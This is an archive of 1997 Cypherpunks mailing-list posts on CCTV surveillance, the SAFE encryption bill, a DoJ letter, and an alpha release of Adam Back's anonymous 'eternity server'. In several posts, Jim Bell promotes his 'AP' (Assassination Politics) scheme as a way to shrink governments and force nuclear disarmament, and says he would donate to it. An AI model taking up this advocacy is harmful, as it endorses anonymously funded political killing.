Bay Alarm is trying to sell the City Council a $500K-$1.5M closed-circuit
TV system for watching people in public places.  The three picknickers
didn't litter, but the camera mounted on the public library building could
zoom in enough to that the council could tell a ham sandwich from roast beef,
and whether the two joggers were wearing Nikes or Reeboks.
"Anybody who is a law-abiding citizen is not going to be concerned about
this..
"When I'm out in a public place.... I don't have an expectation of privacy"
said Councilcritter Nate Miley (East Oakland/Elmhurst), who wants a test run
in his district, where residents have bars on their windows and are afraid
to go out at night.  Police Chief Joseph Samuels likes it too.
"This is technology spying on our citizens from camera on light poles"
said John Crew of the ACLU police practices project, speaking against it.
Bay Alarm said that some British cities have dealt with privacy fears by
setting up monitoring centers away from city and police offices,
where tapes are kept in case a crime occurs -- crime victims can call up
the police and ask them to play back tapes, said Mark Demier of Bay Alarm.
The camera systems are also capable of taking pictures in the dark.

Personnel Data Theft Plaguing U.S. Firms
---------------------------------------
Levi Strauss & Co. recently had a disk drive stolen from an office computer.
It had background information on over 20,000 current and former employees,
including names, addresses, SSNs, birthdates, and bank account numbers.
It appeared to be just a crude theft of the $500 hardware, rather than 
somebody trying to steal the information itself, and is "not likely" to be 
used fraudulently because it's "written in a language difficult to decode",
but the affected employees have been notified.  Dave Banisar of EPIC is 
one of the various experts quoted.

Insiders Chip In for FileGate Fall Guy Defense
----------------------------------------------
Remember FileGate, with the White House accessing confidential 
background files of hundreds of Republican Administration workers?  
Remember Craig Livingstone, White House staffer who resigned after 
it was revealed that his office was responsible for it?
Well, he was never charged with anything, but he had about $9550 in 
legal expenses to advise him when he talked to Congress,
and apparently 55 of his good friends decided to help him out.
Hillary Clinton's chief of staff gave $50, Bill Clinton's golf partner
Vernon Jordan gave $250, D.C.City Council member Charlene Davis gave $100,
and overall it averaged out to about $200 per insider.
Petty cash, perhaps, but it goes to show you the Clinton Administration's
attitudes toward violation of privacy and abuse of power.
Needless to say, the Associated Press story was a bit more balanced in tone
than my summary here :-)


----
And in other news, San Leandro High School students, mostly the drama club,
led a protest against against a proposed school board policy that would ban
profanity, obscenity, libel, or slanderous speech in school-produced
publications and productions.  (Out, Out, <censored> spot!)
"We want to be able to have the plays we've had in the past", said Sean
Givens.
"We're not doing profanity, we're doing ideas."  Last year the drama 
department canceled a production of "The Breakfast Club", though it was
allowed to go on with modified language.

And Mike Royko died.  The world will be a quieter place without him.
He'll be missed.  


#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#     (If this is a mailing list, please Cc: me on replies.  Thanks.)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: lucifer@dhp.com (lucifer Anonymous Remailer)
Date: Thu, 1 May 1997 07:05:31 +0800
To: cypherpunks@toad.com
Subject: Rejecting Foreplay With Government Vermin
Message-ID: <199704302235.SAA07800@dhp.com>
MIME-Version: 1.0
Content-Type: text/plain


Hume's evil twin wrote:
(Declan take note...)

"It is seldom that virginity of any kind is not lost all at once."
                                                 - Human Gus





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: jimbell@pacifier.com (Jim Bell)
Date: Thu, 1 May 1997 10:29:47 +0800
To: Bradley Felton <cypherpunks@cyberpass.net
Subject: Re: Rejecting Dialog with Government Vermin
Message-ID: <199705010219.TAA28635@mail.pacifier.com>
MIME-Version: 1.0
Content-Type: text/plain


At 08:40 4/30/97 -0500, Bradley Felton wrote:
>What is needed is a "Bonsai" government, that is kept carefully pruned into
>exactly the desired shape, and is never allowed to outgrow its pot.  With
>this analogy in mind, I would posit:
>
>4) Insufficient pruning mechanisms.

I've proposed what I consider to be a very efficient and effective "pruning
mechanism."  However, I've also suggested that it would continue pruning
until the size of government reached zero.


Jim Bell
jimbell@pacifier.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: jimbell@pacifier.com (Jim Bell)
Date: Thu, 1 May 1997 10:53:27 +0800
To: Tim May <cypherpunks@cyberpass.net
Subject: Re: Rejecting Dialog with Government Vermin
Message-ID: <199705010238.TAA04266@mail.pacifier.com>
MIME-Version: 1.0
Content-Type: text/plain


At 21:32 4/29/97 -0800, Tim May wrote:
>At 9:15 PM -0800 4/29/97, Jim Bell wrote:
>>For example, I consider a major nuclear powers' possession of nukes to be
>>one of the most serious examples of "nuclear terrorism" there is, but on the
>>other hand I believe that an appropriate use of crypto (AP) could force any
>>owners of nuclear weapons to dismantle them.  Few people challenge this
>>claim.  If I'm right, crypto is a solution rather than a problem.  Why not
>>remind that journalist that her false impression is the real problem, not
>>crypto.
>
>I believe you are incorrect that AP would force dismantling of nukes, for
>reasons I am weary of repeating (you repeat your matra, I repeat mine),

Well, you're entitled to be wrong!  B^)

I have always been willing to defend my assertion, and since it hasn't been
discussed recently I think it's not too soon to rehash, as weary as you may be.

Assuming AP works in particular, and crypto-anarchy works in general, both
will work to  reduce and minimize the "height" and size of government
entities everywhere. Looked at from a cost/benefit standpoint, since nuclear
weapons are generally of a certain minimum size and cost, they only "work"
if the enemy is sufficiently numerous and segregated from the non-enemy
populace to make attack with a large bomb effective.  Reduce the size of the
largest government unit, and it's harder to find a useful target, thus
reducing the benefit of owning nukes.   Also, if an AP system were available
to an individual or group that previously owned nukes, it would be a far
more economical (and specific) tool to defend itself from enemies of a
certain limited size.  (you can't nuke a terrorist cell, for instance, at
least not without making far more enemies than you originally had.)

At some point, nukes will become far "larger" a weapon than any owner can
reasonably use, and at that point he will disassemble it due to sheer
uselessness.   (if you don't believe that the average size of the potential
nuke-owners will get smaller, then you obviously don't believe in AP and/or
crypto-anarchy!)

AP dramatically increases the "cost" of owning nukes as well:   If I were
free to do so, I'd be happy to donate money to help force the few
nuke-owners to dismantle their bombs.  Assuming more than a small fraction
of the population is sympathetic to this use of AP (and even if they
generally would oppose other uses) this will work.  Nukes won't be useful to
"fight back" against AP and/or crypto-anarchy, and in fact threatening their
use will do nothing except strength the argument in favor of the development
and use of AP as an anti-nuke tool.

Generally, in order to claim that a fully-functioning AP system WON'T
dismantle all nukes, you've got to be able to postulate the kind of
nuke-owning organization that could survive in a post-AP world, and further
suggest what reason that organization would have to own them.


> but
>I agree that serious discussion of such game-theoretic issues is just too
>scary, too extreme, too un-American for almost everyone.

You'd be surprised.  Since having had at least my second "15 minutes of
fame" locally, I've had many discussions of the AP concept with average
citizens.  Admittedly, many of them were no more familiar with the
cryptographic details than you might expect, so they pretty much accepted
that part of the proposal as a given.  However, every one of them seemed to
accept the idea that if my system would do, generally, what it appears to do
from first principles, the conclusion that it would shut down militaries and
dismantle nukes follows directly.  

Jim Bell
jimbell@pacifier.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Thu, 1 May 1997 07:53:48 +0800
To: cypherpunks@toad.com
Subject: House subcom. passes crypto bill, USDoJ letter to panel
Message-ID: <v03007810af8d880025a4@[168.161.105.191]>
MIME-Version: 1.0
Content-Type: text/plain



**********

Date: Wed, 30 Apr 1997 19:28:10 -0400
To: fight-censorship-announce@vorlon.mit.edu
From: Declan McCullagh <declan@well.com>
X-FC-URL: Fight-Censorship is at http://www.eff.org/~declan/fc/

After all the backroom wrangling that led up to today's markup, the actual
subcommittee vote on legislation that would lift export controls on
encryption was an anticlimax. A House Judiciary subcommittee passed Rep.
Bob Goodlatte's (R-Va) "SAFE" bill unanimously by voice vote. Not one
member of the panel spoke against it -- even after the Justice Department
tried a last-minute lobbying blitz to derail the bill.

It's a tribute to the effectiveness of the high-tech lobbyists that even
Rep. Bill McCollum (R-Fl) didn't slam the bill, as he was itching to do.
Instead he had to be content with huffing: "I'm not saying I'm opposed to
the bill; I want to put up a red flag. There are people in the intelligence
community and criminal justice community who have expressed concerns to
me." He warned he might have amendments later.

And what else could he say? High tech was smart enough to recruit outside
its ranks for unusual allies in its last-minute legislative push. An April
29 letter to the committee urging them to pass the bill included groups
like the National Association of Manufacturers and the National Retail
Federation.

Goodlatte, the bill's chief sponsor, came up to me afterwards and grinned.
"We already have a significant majority of the full committee supporting
this bill," he said. "There's not one member of Congress who's stepped up
and said they're openly opposed to this legislation. None."

(Rep. Zoe Lofgren (D-Ca) noted that she received a letter from a coalition
of groups criticizing the bill for imposing harsh criminal penalties for
using crypto to further a crime. She vaguely promised to address it later.
That section stayed in.)

But the fight isn't over; rather, it's just beginning. SAFE still has to
clear the full House Judiciary committee, and Sen. Conrad Burns' Pro-CODE
bill has yet to advance in the Senate.

Don't discount the Clinton administration and the Department of Justice --
the largest law firm in the world, with plenty of lobbyists who regularly
swarm onto Capitol Hill to demand expanded police powers. An excerpt from
the DoJ's fearmongering letter sent to the committee today is attached
below.

-Declan

***************

	April 30, 1997

	Rep. Howard Coble
	Subcommittee on Courts and Intellectual	Property chairman
	House Judiciary Committee

	Your Subcommittee will soon begin mark-up of
	H.R. 695, the "Security and Freedom
	Through Encryption (SAFE) Act." Although
	the Department of Justice supports H.R.
	695's overall goal of promoting the wide
	dissemination of strong encryption, we
	believe that the bill would severely
	compromise law enforcement's ability to
	protect the American people from the
	threats posed by terrorists, organized
	crime, child pornographers, drug cartels,
	financial predators, hostile foreign
	intelligence agents, and other criminals.
	In addition, the bill would greately
	impair the government's ability to
	prosecute those crimes when they do occur.
	We urge the Subcommittee to reject H.R.
	695 in its present form...

	We also oppose H.R. 695 because it would
	impede or prevent the development of a key
	management infrastructure. The bill could
	be read as prohibiting the United States
	government from using appropriate
	incentives to support a key management
	infrastructure and key recovery. Without
	such an infrastructure supporting key
	recovery, federal law enforcement
	investigations will become far more
	difficult. The problems that enactment
	of H.R. 695 would pose for state and local
	law enforcement, which lack access to
	supercomputers, are even greater...

	Sincerely,

	Andrew Fois
	Assistant Attorney General
        Office of Legislative Affairs
        U.S. Department of Justice



-------------------------
Declan McCullagh
Time Inc.
The Netly News Network
Washington Correspondent
http://netlynews.com/


--------------------------------------------------------------------------
This list is public. To join fight-censorship-announce, send
"subscribe fight-censorship-announce" to majordomo@vorlon.mit.edu.
More information is at http://www.eff.org/~declan/fc/






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lucky Green <shamrock@netcom.com>
Date: Thu, 1 May 1997 11:17:34 +0800
To: Bradley Felton <cypherpunks@cyberpass.net
Subject: Re: Rejecting Dialog with Government Vermin
Message-ID: <3.0.32.19970430190055.0074e8a4@netcom13.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain


At 08:40 AM 4/30/97 -0500, Bradley Felton wrote:
>What is needed is a "Bonsai" government, that is kept carefully pruned into
>exactly the desired shape, and is never allowed to outgrow its pot.  With
>this analogy in mind, I would posit:
>
>4) Insufficient pruning mechanisms.

The pruning mechanism was put in by the Founding Fathers in form of the
Second Amendment. The problem was that the People decided they wanted to
give up the pruning mechanism for some (perceived) temporary safety.



-- Lucky Green <mailto:shamrock@netcom.com> PGP encrypted mail preferred

   "I do believe that where there is a choice only between cowardice and
    violence, I would advise violence." Mahatma Gandhi





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Mac Norton <mnorton@cavern.uark.edu>
Date: Thu, 1 May 1997 09:21:04 +0800
To: Declan McCullagh <declan@well.com>
Subject: Re: Rejecting Dialog with Government Vermin
In-Reply-To: <Pine.GSO.3.95.970430174121.425K-100000@well.com>
Message-ID: <Pine.SOL.3.96.970430200535.2695J-100000@cavern.uark.edu>
MIME-Version: 1.0
Content-Type: text/plain


> Not all journalists have "hockable ethical standards." Indeed, some of us
> care about the truth. 

And all of you care about the deadline.  Which comes first?
Ah, that's a rehtorical question.:)
MacN





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: das@razor.engr.sgi.com (Anil Das)
Date: Thu, 1 May 1997 11:38:00 +0800
To: cypherpunks@cyberpass.net
Subject: Re: mainstream media corruption same as govt
In-Reply-To: <199705010033.RAA29721@netcom7.netcom.com>
Message-ID: <9704302023.ZM15577@razor.engr.sgi.com>
MIME-Version: 1.0
Content-Type: text/plain


On Apr 30,  5:33pm, Vladimir Z. Nuri wrote:
>
> the crack cocaine situation in LA is a good example of how the truth
> is buried by the media. a maverick newspaper reports something close to the
> truth and the cia-manipulated mouthpieces around the country pile on
> the journalist and the newspaper in a barrage of picks that choke the
> truth in clouds of smoke.

	One can hardly call the Mercury News a maverick newspaper.
Their slant is pretty much establishment most of the time.

--
Anil Das





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: jimbell@pacifier.com (Jim Bell)
Date: Thu, 1 May 1997 11:42:51 +0800
To: Kent Crispin <cypherpunks@cyberpass.net
Subject: Re: Rejecting Dialog with Government Vermin
Message-ID: <199705010328.UAA19126@mail.pacifier.com>
MIME-Version: 1.0
Content-Type: text/plain


At 23:07 4/29/97 -0700, Kent Crispin wrote:

>3) There is no serious flaw -- the current government isn't as
>bad as we claim.  Or, put another way, the evils we see are a function
>of size of government, and size of government is more a function of
>population than anything else -- the larger the population, the 
>larger the government.
>
>I think that strong arguments could be made for any of these, though #3 
>would be shouted down in this forum.

I disagree that a "strong argument" could be made for item #3.  Sure, some
people would strenuously ATTEMPT to make that argument, but they would fail
miserably.  

I feel confident that a statistical analysis of various countries'
governments would reveal a wide scatter in the relationship between
population and government size.  One of the main factors in this scatter is
simply the amount that government has decided to butt into activities that
could (and should) be privatized.   Another is the amount that the
government steals from one group in order to reliably receive the votes of
some other group.

Population size would end up being a very poor determinant of government size.




Jim Bell
jimbell@pacifier.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: jimbell@pacifier.com (Jim Bell)
Date: Thu, 1 May 1997 11:40:58 +0800
To: cypherpunks@cyberpass.net
Subject: Re: SAFE Bill is a Disaster--"Use a cipher, go to prison"
Message-ID: <199705010328.UAA19133@mail.pacifier.com>
MIME-Version: 1.0
Content-Type: text/plain


At 17:19 4/30/97 -0800, Tim May wrote:
>(A copy of this message has also been posted to the following newsgroups:
>alt.cypherpunks,  talk.politics.crypto, comp.org.eff.talk)
>CDT and other Washington insider groups are busily singing the praises of
>the SAFE encryption bill, despite some acknowledged "minor flaws."
>
>Well, the flaws are not minor. The bill does not give Americans any rights
>they do not already have, and does not ease export of strong crypto in any
>meaningful way. In fact, the bill contains odd language implying it is
>essentially only financial software which is easier to export, and then
>only if the receiving country (huh?) allows it...since when is the duty of
>U.S. Customs to pass products for export based on whether Baluchistan, for
>example, wants the product?

I agree with everything you've said, here.  SAFE is truly awful if it
attempts to make use of encryption illegal.  Prosecuting the underlying
crime, if a crime was done, should be considered more than enough.

The thugs are afraid of getting whacked.


Jim Bell
jimbell@pacifier.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Thu, 1 May 1997 12:03:29 +0800
To: cypherpunks@toad.com
Subject: Problems with SAFE bill
Message-ID: <Pine.GSO.3.95.970430203921.25451B-100000@well.com>
MIME-Version: 1.0
Content-Type: text/plain


I've received a few comments along the lines of "Why are you supporting
the SAFE bill?" Here's my post to f-c about it from last week that might
give some background. In short, I think this legislation is not good.

-Declan

(I sometimes forget to send f-c posts to cypherpunks, even when they're
on-topic. If you want to join, subscription info is at the end.)


---------- Forwarded message ----------
Date: Thu, 24 Apr 1997 18:17:09 -0400
From: Declan McCullagh <declan@well.com>
To: fight-censorship-announce@vorlon.mit.edu
Subject: FC: Crypto moves forward: Commerce Dept panel and SAFE markup

Encryption is again bubbling to the surface of Washington politics. Today
the Department of Commerce announced that it was creating a new committee
to advise it on crypto-issues. A department official told me it would be
composed of "businesses that export encryption," and interested parties
have 15 working days to file comments. A way for the White House to split
industry opposition and persuade high tech firms to buy into key escrow?
Hmm...

On the Hill, crypto legislation that would lift export controls is about to
advance farther than ever before. (Last fall, Sen. Exon killed any chance
that pro-crypto legislation had in the 104th Congress.) Rep. Bob
Goodlatte's crypto bill (SAFE) will move to subcommittee markup next
Tuesday at 2 pm in Rayburn 2237. After the full committee reports the bill,
it moves to the international relations committee. Sen. Conrad Burns also
would like to move forward with his Pro-CODE bill in May.

Problem is, Goodlatte's SAFE bill, which has about 70 cosponsors, does more
than just relax export controls and prohibit mandatory key escrow. It also
creates new criminal penalties for using encryption to further a criminal
act. Now, some say that it's innocuous -- and a good tradeoff for getting
export controls lifted -- but I'm not convinced. When encryption is
widespread and present in telephones, radios, cell phones, wireless modems,
web browsers, televisions, and maybe light switches, *any use* of any
electronic appliance will involve encryption. (Who wants a hacker playing
with your toaster?)

Remember that Maryland bill that would criminalize sending "annoying" or
"harassing" email? If the Goodlatte bill became law, Marylanders who signed
their messages with PGP or telnetted to local ISPs could be slammed with an
all-expenses-paid trip to the Federal pen for five years.

In other words, SAFE would turn state misdemeanors into Federal felonies.
This is not good.

A coalition of groups is sending a letter to Goodlatte tomorrow supporting
the bill but expressing concern over the criminalization provision.
Interested in signing on? Email David Sobel: sobel@epic.org.

-Declan

*****************

Security and Freedom Through Encryption (SAFE) Act (Introduced in the House)

`Sec. 2805. Unlawful use of encryption in furtherance of a criminal act

       `Any person who willfully uses encryption in furtherance of the
commission of a criminal
       offense for which the person may be prosecuted in a court of
competent jurisdiction--

              `(1) in the case of a first offense under this section, shall
be imprisoned for not
              more than 5 years, or fined in the amount set forth in this
title, or both; and

              `(2) in the case of a second or subsequent offense under this
section, shall be
              imprisoned for not more than 10 years, or fined in the amount
set forth in this title,
              or both.'.


*****************

Federal Register, April 24, 1997:

DEPARTMENT OF COMMERCE

President's Export Council Subcommittee on Encryption;
Notice of Establishment

    The Secretary of Commerce has determined that the
establishment of the President's Export Council
Subcommittee on Encryption is in the public interest in
connection with the performance of duties imposed on the
Department by law.

    The Subcommittee will advise the Secretary, through the
Assistant Secretary for Export Administration, on
matters pertinent to the implementation of an encryption
policy that will support the growth of commerce while
protecting the public safety and national security.

    The Subcommittee will consist of approximately 25 members
to be appointed by the Secretary to assure a balanced
representation among the exporting community and those
Government agencies with a mandate to implement policy
regarding encryption.

    The Subcommittee will function solely as an advisory body.

    Interested persons are invited to submit comments regarding
the establishment of the Subcommittee to Lee Ann Carpenter,
Committee Liaison Officer, OAS/EA/BXA, U.S. Department of
Commerce, MS: 3886C, Washington, D.C., 20230. Telephone:
202-482-2583. FAX: 202-501-8024.

    Dated: April 18, 1997.
Sue E. Eckert,
Assistant Secretary for Export Administration.

[Thanks to JYA. --Declan]



-------------------------
Time Inc.
The Netly News Network
Washington Correspondent
http://netlynews.com/


--------------------------------------------------------------------------
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"subscribe fight-censorship-announce" to majordomo@vorlon.mit.edu.
More information is at http://www.eff.org/~declan/fc/







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Back <aba@dcs.ex.ac.uk>
Date: Thu, 1 May 1997 05:14:25 +0800
To: cypherpunks@cyberpass.net
Subject: [ANNOUNCE] Eternity server 1.01 alpha release
Message-ID: <199704302052.VAA10052@server.test.net>
MIME-Version: 1.0
Content-Type: text/plain



Annoucing the `eternity server'.

Alpha testers wanted.  See source code at:

	http://www.dcs.ex.ac.uk/~aba/eternity/

System requirements are:

  unix
  perl5
  news source (local news spool or access to nntp server)
  pgp (2.6.x)
  web space
  ability to install cgi-binaries
  ability to schedule cron jobs a plus but not essential

Unfortunately I have not got a service up and running for you to play
with because I don't meet those requirements (in cgi capability on the
server I would otherwise like to use).

If someone wants to set one up to demo, and post the URL that would be
useful.

The local news spool stuff is tested better than the nntp server
stuff, but it is all there and the nntp stuff was working at one
point.  Remember this is alpha code.  If you can hack perl and want to
stress test the nntp server stuff or the rest of it that would be
helpful.

What is an Eternity Service?

(Some of you may recognize the name `Eternity Service' from Ross
Anderson's paper of that name.  What I have implemented is a related
type of service which shares Anderson's design goals, but has a
simpler design.  Rather than invent a new name, I just borrowed
Anderson's, unless anyone can think of a better name. Anderson has the
paper available on his web pages (look for `eternity') at
http://www.cl.cam.ac.uk/users/rja14/ Also I heard that Eric Hughes
gave a talk on UPS `Universal Piracy Service' I presume this has
similar design goals, though I have not heard further details.)

I have implemented this to give something concrete to think about in
terms of creating something closer to Andersons real eternity service
in robustness.

The eternity server code above provides an interface to a distributed
document store which allows you to publish web pages in such a way
that the attacker (the attacker here is a censor such as perhaps a
government, perhaps your government) can not force you to unpublish
the document.

It's architecture is quite simple.  We already have an extremely
robust distributed document store: USENET news.  We already have the
ability to post messages to the document store anonymously: type I and
type II (mixmaster) remailers.  So theoretically we can publish what
ever we want, just post it to USENET.  However retreiving the data is
cumbersome.  We must search USENET with a search engine, or look
manually for the document, the document will expire after some short
time.  You may still be able to find the document in a search engine
which archives news for longer periods such as dejanews or altavista.

However, it is not as user friendly as a web based interface, there
are no hypertext links between related documents, there are no inline
graphics, etc.

So my `eternity server' is a kind of specialised web search engine
which acts as a kind of web proxy and provides a persistent web based
interface to reading web pages stored in encrypted documents posted to
different USENET groups.  The web search engine provides persitent
virtual URLs for documents even if they move around with different in
different news groups, being posted via different exit remailers.
Signatures on documents allows the user to update document.  The web
proxy has options to cache documents, and otherwise fetches from
a USENET newsspool or nntp news server.

Technical Description

The system offers different levels of security to users.  All
documents must be encrypted.  The subject field of the document should
include the SHA1 hash of the document's virtual URL.  (All eternity
virtual urls are of the form:

	http://[virtualsite].eternity/[documentpath]

that is they would not function as normal urls because the use the
non-existant TLD "eternity".  You may be able to use this facility to
get your browser to look at a particular eternity server to serve
documents of this form).

The lowest level of security is to encrypt the document with PGP -c
(IDEA encryption) with the passphrase "eternity".  This is just
obfuscation to make the documents marginally harder to examine in
USENET without using the eternity service to automate the process.

The next level of security is encrypt the document with the SHA1 of a
1 prepended with the URL.  ie 
	
	passphrase = SHA1( "1". "http://test.eternity/doc/" )

This means that you can not read documents unless you know the URL.
Of course, if you can guess the URL then you can read them.

The third level of security is to additionally to one of the above two
options to encrypt the document with another passphrase of your
chosing.  Then you can give the passphrase only to those amongst your
circle of friends.

Additionally support is given for signed documents.  This is important
because once you've published a web page you might wish to update it.
And yet you don't want other people updating it with a blank page (or
otherwise changing your page) as this would be as good as the ability
to remove the page.

If you include a PGP public key with a document, the eternity server
will associate that PGP key with the hash of your documents URL.  Any
attempts to update that document will only succeed if signed by the
same PGP key.

The document server has the option to cache documents.  Cacheing can
either be turned off (in which case documents are always fetched from
the news spool, this is not that inefficient as the news spool may be
local, and the server keeps a database of USENET group/article number
against document hash, and so can directly fetch the document), or
cacheing can be turned on, or cacheing can be set to encrypted, in
which case documents in the cache are encrypted with a passphrase
derived from the SHA1 of the document's URL by prepending a 1 to the
URL.  In the encrypted mode if the server operator is not keeping
logs, he can't decrypt the documents in his own cache.  If cacheing is
off there are no documents in the cache, only in the USENET news
spool.

In addition some users will have a password which is pasted into an
extra password field on the field

Users can set their own per document cacheing options (they can set no
cacheing to override the options of on or encrypted on the server), or
they can set encrytped to override cachine turned on, etc.

There is a document index at eternity root ( "http://eternity/" ), and
users may optionally request documents to be included in the directory
of eternity documents and virtual hosts.  It makes sense to include
the root document of your set of web pages in the index, and to leave
the rest out of the index.  Then you can link to your own pages from
your original page.

Relative URLs work, inline graphics work, site relative URLs work, and
it includes crude support for mime types, so most normal web data
types will work as normal.

The document format is:

[flags]
[pgp key]
[eternity document]

The flags are can be any of:

URL: http://test.eternity/example1/
Options: directory or exdirectory
Cache: on/yes/off/no/encrypt/encrypted
Description: An example eternity document

The pgp key is an asii armored PGP key, and the eternity document must
also be ascii armored and may optionally be signed (with the
acompanying pgp key).  The eternity document can also be encrypted
again inside that layer with a user key which need never be revealed
to the server.

The overall document is encrypted with PGP -c password "eternity", or
with a password obtained by prepending a 1 to the URL as obtained like
this.

% echo -c 1"http://test.eternity/example1/" | sha1

The flags, pgp key and eternity document can be arbitrarily jumbled
up in order.

The eternity server source code includes an examples directory.

The eternity server has a configuration file which is heavily
commented: eternity.conf.


Threat Models

Think of this as a specialised search engine. If you don't like the
documents you find, then change your search terms, don't complain to
one of the many search engine maintainers! The Eternity Service is
designed to facilitate publishing in a web based form of non
government approved reading or viewing material, or the publishing of
non government approved software, or other "liberated" documents,
programs, etc.  Each user can easily install their own search engine
in a shell account for their own use.

Newsgroups are very robust against attack because they are part of a
distributed system: USENET news. It is difficult to remove a USENET
newsgroup (the Scientologists know, they tried and failed, and they
have seriously deep pockets, and attitude to match). For the eternity
service it probably doesn't matter that much if you do get rid of a
particular newsgroup, eternity documents can be in any
newsgroup. Somehow I don't think you'll succeed in getting rid of all
USENET newsgroups, ie in shutting USENET news down. I'm not sure that
a major government could succeed in that even.

Information wants to be free. Long live USENET news.

Improving robustness

The main problem with this system that I see is that documents don't
live long in USENET news spools as expiry dates are often 1 week or
less.  So to use the service you'd have to set up a cron job to repost
your web documents every week or so.  Some documents remain in the
cache and so survive as long as there is interest in them.

An immediately easy thing to do is to include support for fetching and
looking documents up in altavista's news archive and in dejanews
archive.  This shouldn't be that difficult.  The eternity server
article database already includes newsgroup and message id against
document hash, all that is required is to formulate the requests
correctly.  If anyone wants to add this, feel free.

A mechanism for eternity servers to query each other's caches would be
one mechanism to think about.

Another would be to charge anonymous digicash rates to keep documents
in the cache a couple of $ per Mb/year.

Also you could perhaps think about charging for acccesses to the
service and passing a royalty back to the document author.

There is no `ownership' of eternity virtual domains, or of document
paths.  If Alice puts a document at http://books.eternity/, there is
nothing to stop Bob putting other files under that virtual domain,
such as http://books.eternity/crypto/.  However in general Bob can't
make Alice's document point to his URLs.  Bob can't modify or remove
Alice's pointer from the eternity directry http://eternity/.  But he
can add his own entry.

There can however be race conditions.  If Alice puts up a document on
http://books.eternity/ which points to an inline gif, but hasn't yet
put up that inline gif, Bob can get there first and put up a picture
of Barney until Alice notices and changes here pointer to point to the
picture she wants to point at.

So one solution would be to only accept documents which are signed by
the signator of the next domain up.  First come first served for the
virtual domains, the key signing the root dir of the virtual domain is
checked for each file or directory added under that.

Note even if the URLs are exdirectory, this need not be a problem as
you can just try the path with one directory stripped off.  Could be
done.  Is it worth it though?  It would add overhead to the server,
and there is minimal distruption someone can cause by sharing domains.

Perhaps it is desirable for someone to own a domain by virtue of being
the first person to submit a document with the hash of that domain
together with a key.

Comments?



The rest of this document is things on the to do list, if you feel
like helping out, or discover a limitation or bug.

To do list

It could do with some documentation.  And some stress testing.  The
file locking hasn't really been tested much.  NNTP may be flaky
as I made some mods since last debugging.

It would be nice to have a CGI based form to submitting documents.
Paste signed ascii armored document here.  Paste public key here.
Click radio buttons to choose options.  Enter URL here.  Type in
newsgroup to send to. Click here to submit through a chain of
mixmaster remailers.

There are a few bugs in the above system which ought to be fixed, but
this is alpha code, and they are on the TODO list.  One problem is
that the flags aren't signed.  A change of message format will fix
that in a later version.  The basic problem is that you can't check
the signature until you've decrypted and obtained the key.  At which
point you have to decrypt again.  A simple fix would perhaps to be to
put the public key outside the outer encryption envelope, but that is
unattractive in terms of allowing author correlation even by people
who don't have passphrases or don't know URLs.  Better would be to
just decrypt once, obtain the key if there is one, and then check the
sig again.  The server already keeps a database of PGP keys (not using
PGP's keyring) it stores keys by the SHA1 hash of the armored public
key and indexes against document URL hashes.  In this way public keys
do not need to be included in later document updates.  This could be
used to check a signature on the outer encryption layer.  Then only
the first post needs to decrypt twice (once without key available to
check sig, and then again with key available).  As a nice side effect
this protects against the PGP 0xdeadbeef attack (or 0xc001d00d as Gary
Howland has on his public key).

Another problem is when scanning a newsgroup, if the scanned message
can not be read it just stores it for later, so that when someone
accesses the server who knows the URL for that document it can be
decrypted and scanned for good signature and updated then.  However
the code only has a place holder for one document at the moment.  That
should be changed to a list and appropriate code to scan the list when
the document is accessed.  Once the newest document is found, the list
of documents to be scanned can be discarded and the newest article
stored against the hash in article.db.

Another more subtle problem is that the code may update documents in
the wrong order if multiple versions are posted to different news
groups.  The articles are scanned one group at a time.  So if the
groups are scanned in order alt.anonymous.messages followed by
alt.cypherpunks, and version 2 of the document is in alt.anon.msgs,
and version 1 in alt.cp, then it will update the document with the
older version.

Another to do list entry is the cache replacement policy.  There isn't
one, your cache will grow indefinately as documents are never removed.

Another thing to do is the altavista and dejanews lookup via HTTP by
message-id.  All the place holders are there.

If anyone wants to tackle any of the above tasks feel free.

The program dbmdump prints out .db files in ascii so you can see what
is there.

eternity -u is suitable to run as a cron job, or just at the console.

eternity -r resets everything, clears out the cache, empties database
etc.

eterity?url=http://blah.eternity/blah

is the form to use as a cgi.  It handles both GET and POST methods.

There is a log file for debugging, see eternity (the perl program) for
how to set different logging opitons. You can log most aspects of the
program for debugging purposes.

Adam

-- 
Have *you* exported RSA today? --> http://www.dcs.ex.ac.uk/~aba/rsa/

print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Frantz <frantz@netcom.com>
Date: Thu, 1 May 1997 14:04:28 +0800
To: cypherpunks@toad.com
Subject: Re: House subcom. passes crypto bill, USDoJ letter to panel
In-Reply-To: <v03007810af8d880025a4@[168.161.105.191]>
Message-ID: <v0300780aaf8dd832908f@[207.94.249.141]>
MIME-Version: 1.0
Content-Type: text/plain


At 4:36 PM -0700 4/30/97, Declan McCullagh quoted:
>	... threats posed by terrorists, organized
>	crime, child pornographers, drug cartels,
>	financial predators, hostile foreign
>	intelligence agents, and other criminals.
>       ...
>
>	Andrew Fois
>	Assistant Attorney General
>        Office of Legislative Affairs
>        U.S. Department of Justice

Wow!  The four horsemen are now eight (or more).


-------------------------------------------------------------------------
Bill Frantz       | God could make the world   | Periwinkle -- Consulting
(408)356-8506     | in six days because he did | 16345 Englewood Ave.
frantz@netcom.com | not have an installed base.| Los Gatos, CA 95032, USA






